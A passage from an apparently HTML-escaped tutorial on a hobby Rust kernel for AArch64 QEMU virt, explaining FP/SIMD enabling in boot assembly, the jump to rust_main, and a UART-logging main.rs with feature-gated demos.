&lt;figure id=&#34;fp-enable&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;cpacr_el1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;orr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(3 &amp;lt;&amp;lt; 20)   // FPEN = 0b11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;cpacr_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Enabling floating-point and SIMD at EL1&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;You might wonder: we&amp;rsquo;re writing a kernel, not a graphics engine. Why do we need floating-point?&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the thing. LLVM (Rust&amp;rsquo;s code generator) uses NEON registers for more than just floating-point math. It uses them for memory operations like &lt;code&gt;memcpy&lt;/code&gt; and struct copies. If you have a struct that&amp;rsquo;s, say, 32 bytes, LLVM might decide the fastest way to copy it is to load it into a pair of 128-bit NEON registers and store it back. This happens even in integer-only code. Even in early boot.&lt;/p&gt;
&lt;p&gt;If FP/ASIMD is disabled when this happens, the CPU generates a synchronous exception with exception class &lt;code&gt;EC=0x07&lt;/code&gt; (FP/ASIMD access trap). Your kernel crashes before it even prints &amp;ldquo;hello.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;We handled the EL2 side already (clearing TFP in &lt;code&gt;cptr_el2&lt;/code&gt;). Now at EL1, we set &lt;code&gt;FPEN&lt;/code&gt; (bits [21:20]) in &lt;code&gt;cpacr_el1&lt;/code&gt; to &lt;code&gt;0b11&lt;/code&gt;, which means &amp;ldquo;don&amp;rsquo;t trap FP/ASIMD at EL1 or EL0.&amp;rdquo; The &lt;code&gt;orr&lt;/code&gt; instruction sets those bits. Another &lt;code&gt;isb&lt;/code&gt; to synchronize.&lt;/p&gt;
&lt;h3 id=&#34;88-jumping-to-rust-lines-57-60&#34;&gt;8.8 Jumping to Rust (lines 57-60)&lt;/h3&gt;
&lt;figure id=&#34;jump-rust&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;bl&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;rust_main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;3:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;wfe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Calling into Rust&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Finally, &lt;code&gt;bl rust_main&lt;/code&gt; is a branch-with-link: it saves the return address in &lt;code&gt;x30&lt;/code&gt; (the link register) and jumps to &lt;code&gt;rust_main&lt;/code&gt;. This is where we leave assembly and enter Rust.&lt;/p&gt;
&lt;p&gt;The three lines after it are a safety net. &lt;code&gt;rust_main&lt;/code&gt; is declared as &lt;code&gt;-&amp;gt; !&lt;/code&gt; (never returns), but if something goes horribly wrong and it does return, we don&amp;rsquo;t want the CPU executing random memory. So we enter an infinite loop: &lt;code&gt;wfe&lt;/code&gt; (wait for event, which puts the CPU in a low-power sleep state) followed by a branch back to &lt;code&gt;wfe&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;9-the-rust-entry-point&#34;&gt;9. The Rust entry point&lt;/h2&gt;
&lt;p&gt;Now we&amp;rsquo;re in Rust. Let&amp;rsquo;s look at the actual &lt;code&gt;main.rs&lt;/code&gt; for the AArch64 virt platform.&lt;/p&gt;
&lt;figure id=&#34;main-rs&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#![no_std]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#![no_main]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;use&lt;/span&gt; core::panic::PanicInfo;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;use&lt;/span&gt; hal::log::Logger;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core::arch::&lt;span style=&#34;color:#8aadf4&#34;&gt;global_asm!&lt;/span&gt;(&lt;span style=&#34;color:#8aadf4&#34;&gt;include_str!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;boot.S&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// QEMU `virt` PL011 UART base.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0x0900_0000&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;UartLogger&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;impl&lt;/span&gt; UartLogger {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[inline(always)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mmio_write&lt;/span&gt;(offset: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt;, val: &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { core::ptr::write_volatile((&lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; offset) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;, val) }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[inline(always)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mmio_read&lt;/span&gt;(offset: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { core::ptr::read_volatile((&lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; offset) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;) }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;putc&lt;/span&gt;(c: &lt;span style=&#34;color:#ed8796&#34;&gt;u8&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// FR (0x18) bit5 = TXFF (transmit FIFO full)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::mmio_read(&lt;span style=&#34;color:#f5a97f&#34;&gt;0x18&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;)) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::mmio_write(&lt;span style=&#34;color:#f5a97f&#34;&gt;0x00&lt;/span&gt;, c &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;crate&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;puts&lt;/span&gt;(s: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;b &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; s.as_bytes() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; b &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::putc(&lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\r&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::putc(b);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;impl&lt;/span&gt; hal::log::Logger &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; UartLogger {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, s: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        UartLogger::puts(s);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mod&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;timer&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mod&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;preempt&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mod&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;mem&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[unsafe(no_mangle)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;extern&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;rust_main&lt;/span&gt;() -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; logger &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; UartLogger;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: aarch64 QEMU virt boot OK&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-ipc&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: IPC + cooperative scheduling demo&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        kernel::kmain(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;logger)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-timer&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: timer interrupts demo&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        timer::init();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: timer started, entering idle loop&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            hal::arch::halt();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-preempt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: preemptive multitasking demo&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        preempt::init();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;extern&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;start_first&lt;/span&gt;(ctx: &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; preempt::Context) -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { start_first(preempt::first_context()) }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-memory&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: memory management demo (frames + page tables)&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mem::demo();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            hal::arch::halt();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(not(any(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-ipc&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;, feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-timer&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;,
